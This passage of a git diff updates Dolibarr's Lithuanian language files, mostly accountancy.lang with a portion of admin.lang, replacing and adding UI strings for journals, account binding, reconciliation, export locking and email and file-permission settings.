+descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatic closing +AutomaticLinking=Automatic linking diff --git a/htdocs/langs/lt_LT/accountancy.lang b/htdocs/langs/lt_LT/accountancy.lang index f9ba81ed755..27d0053cefc 100644 --- a/htdocs/langs/lt_LT/accountancy.lang +++ b/htdocs/langs/lt_LT/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Pasirinkite vežimėlio grąžinimo tipą ACCOUNTING_EXPORT_PREFIX_SPEC=Specify the prefix for the file name ThisService=Ši paslauga ThisProduct=Ši prekė -DefaultForService=Numatyta paslauga -DefaultForProduct=Numatyta prekė +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Pasiūlyti negalima @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Pagrindinė apskaitos sąskaita tiekėjams, ku MainAccountForUsersNotDefined=Pagrindinė apskaitos sąskaita naudotojams, kurie nenustatyti sąrankos metu MainAccountForVatPaymentNotDefined=Pagrindinė apskaitos sąskaita PVM mokėjimui, kuri nėra nustatyta sąrankos metu MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Apskaitos sritis AccountancyAreaDescIntro=Apskaitos modulio naudojimas atliekamas keliais etapais: AccountancyAreaDescActionOnce=Šie veiksmai paprastai atliekami vieną kartą arba kartą per metus ... -AccountancyAreaDescActionOnceBis=Kad ateityje sutaupytumėte laiko, turėtumėte atlikti tolesnius veiksmus, nurodydami teisingą numatytąją apskaitos paskyrą atliekant įvestį (rašydami įrašus žurnaluose ir pagrindinėje knygoje) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=ŽINGSNIS %s: Sukurkite arba patikrinkite savo žurnalo turinį iš meniu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=ŽINGSNIS %s: nustatykite kiekvieno PVM tarifo apskaitos sąskaitas. Tam naudokite meniu punktą %s. AccountancyAreaDescDefault=ŽINGSNIS %s: nustatykite numatytąsias apskaitos sąskaitas. Tam naudokite meniu punktą %s. -AccountancyAreaDescExpenseReport=ŽINGSNIS %s: nustatykite numatytąsias apskaitos sąskaitas kiekvienai išlaidų ataskaitos rūšiai. Tam naudokite meniu punktą %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=ŽINGSNIS %s: nustatykite numatytąsias apskaitos sąskaitas atlyginimų mokėjimams. Tam naudokite meniu punktą %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=ŽINGSNIS %s: nustatykite numatytąsias aukojimo / paramos apskaitos sąskaitas. Tam naudokite meniu punktą %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=ŽINGSNIS %s: nustatykite privalomą numatytąją sąskaitą ir numatytąsias apskaitos sąskaitas įvairiems sandoriams. Tam naudokite meniu punktą %s. AccountancyAreaDescLoan=ŽINGSNIS %s: nustatykite numatytąsias paskolų apskaitos sąskaitas. Tam naudokite meniu punktą %s. AccountancyAreaDescBank=ŽINGSNIS %s: nustatykite kiekvieno banko ir finansinių sąskaitų apskaitos sąskaitas ir žurnalo kodus. Tam naudokite meniu punktą %s. -AccountancyAreaDescProd=ŽINGSNIS %s: nustatykite savo prekių / paslaugų apskaitos sąskaitas. Tam naudokite meniu punktą %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=ŽINGSNIS %s: patikrinkite, ar esamos %s eilutės ir apskaitos sąskaitos yra susietos, tuomet programa galės vienu paspaudimu įvesti operacijas didžiojoje knygoje. Užbaikite trūkstamus susiejimus. Tam naudokite meniu punktą %s. AccountancyAreaDescWriteRecords=ŽINGSNIS%s: rašykite sandorius į didžiąją knygą. Norėdami tai padaryti, eikite į meniu %s ir spustelėkite mygtuką %s . @@ -99,7 +101,8 @@ ShowAccountingAccount=Rodyti apskaitos sąskaitą ShowAccountingJournal=Rodyti apskaitos žurnalą ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Siūloma apskaitos sąskaita +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Numatytosios sąskaitos MenuBankAccounts=Banko sąskaitos MenuVatAccounts=PVM sąskaitos @@ -112,7 +115,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Prekių sąskaitos TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Sąskaitų apvadas CustomersVentilation=Kliento sąskaita apvadas SuppliersVentilation=Tiekėjo sąskaitos apvadas @@ -120,10 +123,11 @@ ExpenseReportsVentilation=Išlaidų ataskaita apvadas CreateMvts=Sukurkite naują sandorį UpdateMvts=Sandorio keitimas ValidTransaction=Patikrinti sandorį -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Didžioji knyga BookkeepingSubAccount=Subledger AccountBalance=Sąskaitos balansas +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Šaltinio objekto nuoroda CAHTF=Total purchase vendor before tax TotalExpenseReport=Bendra išlaidų ataskaita @@ -161,41 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Išjungti tiesioginį sandorio įrašymą banko sąska ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Įgalinti eksporto projektą žurnale ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Pardavimų žurnalas -ACCOUNTING_PURCHASE_JOURNAL=Pirkimų žurnalas -ACCOUNTING_MISCELLANEOUS_JOURNAL=Įvairiarūšis žurnalas +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Socialinis žurnalas +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Turi naują žurnalą +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Socialinis žurnalas ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Dokumento tipas Docdate=Data @@ -210,7 +220,8 @@ Codejournal=Žurnalas JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +230,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=Pagal metus NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Žurnalas, kurį norite ištrinti -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Išlaidų ataskaitų žurnalas DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -258,19 +269,20 @@ ShowSubtotalByGroup=Show subtotal by level Pcgtype=Group of account PcgtypeDesc=Group of account are used as predefined 'filter' and 'grouping' criteria for some accounting reports. For example, 'INCOME' or 'EXPENSE' are used as groups for accounting accounts of products to build the expense/income report. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Iš viso pardavimų marža -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +290,32 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Kai kurie sandoriai negalėjo būti įvesti žurnale. Jei nėra kito klaidos pranešimo, tai tikriausiai todėl, kad jie jau buvo įvesti žurnale anksčiau. -NoNewRecordSaved=Daugiau žurnalo įrašų nėra -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +331,10 @@ AccountingJournalType1=Įvairiarūšės operacijos AccountingJournalType2=Pardavimai AccountingJournalType3=Pirkimai AccountingJournalType4=Bankas -AccountingJournalType5=Išlaidų ataskaita +AccountingJournalType5=Išlaidų ataskaitos AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Šis žurnalas jau naudojamas AccountingAccountForSalesTaxAreDefinedInto=Pastaba: Apskaitos sąskaita pardavimų mokestis yra apibrėžta meniu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +342,15 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Eksportuoti žurnalo projektą Modelcsv=Eksporto modelis @@ -386,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -394,6 +414,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Kai kurie privalomi nustatymo žingsniai nebuvo atlikti, prašome juos užpildyti ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +446,11 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Išlaidų ataskaitos žurnalas -InventoryJournal=Inventoriaus žurnalas +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/lt_LT/admin.lang b/htdocs/langs/lt_LT/admin.lang index 4053f4b2161..26cd7014950 100644 --- a/htdocs/langs/lt_LT/admin.lang +++ b/htdocs/langs/lt_LT/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=%s modulis turi būti įjungtas WarningOnlyPermissionOfActivatedModules=Čia rodomi tik aktyvuotų modulių leidimai. Kiti moduliai gali būti aktyvuoti Namai->Paruošimas->Moduliai puslapyje. DolibarrSetup=Dolibarr įdiegimas arba atnaujinimas -InternalUser=Vidinis naudotojas -ExternalUser=Išorinis naudotojas InternalUsers=Vidiniai naudotojai ExternalUsers=Išoriniai naudotojai UserInterface=User interface @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Max. number of lines for widgets AllWidgetsWereEnabled=All available widgets are enabled +WidgetAvailable=Widget available PositionByDefault=Numatytoji paraiška Position=Pozicija MenusDesc=Menu managers set content of the two menu bars (horizontal and vertical). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) @@ -375,7 +375,7 @@ DoTestSendHTML=Testo siuntimas HTML ErrorCantUseRazIfNoYearInMask=Klaida, negalima naudoti opcijos @ vėl nustatyti (reset) skaitiklį kiekvienais metais, jei seka {yy} arba {yyyy} nėra uždangoje (mask). ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Klaida, negalima naudoti opcijos @ jei sekos {yy}{mm} arba {yyyy}{mm} nėra uždangoje (mask). UMask=UMask parametras naujiems failams Unix/Linux/BSD/Mac tipo sistemoms. -UMaskExplanation=Šis parametras leidžia nustatyti leidimų rinkinį pagal nutylėjimą failams Dolibarr sukurtiems serveryje (pvz.: atliekant duomenų rinkinio siuntimą (upload)).
      Jis turi būti aštuntainis (pvz., 0666 reiškia skaityti ir įrašyti visiems).
      Šis parametras yra nenaudojamas Windows serveryje. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Take a look at the Wiki page for a list of contributors and their organization UseACacheDelay= Tarpinės atminties (cache) eksporto reakcijos vėlinimas sekundėmis (0 arba tuščia, kai nėra tarpinės atminties) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Unikalus Boolean=Boolean (one checkbox) ExtrafieldPhone = Telefonas ExtrafieldPrice = Kaina +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = El. paštas ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Pasirinkti sąrašą ExtrafieldSelectList = Pasirinkite iš lentelės ExtrafieldSeparator=Separator (not a field) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Checkboxes ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=Nuoroda į objektą, ComputedFormula=Computed field -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
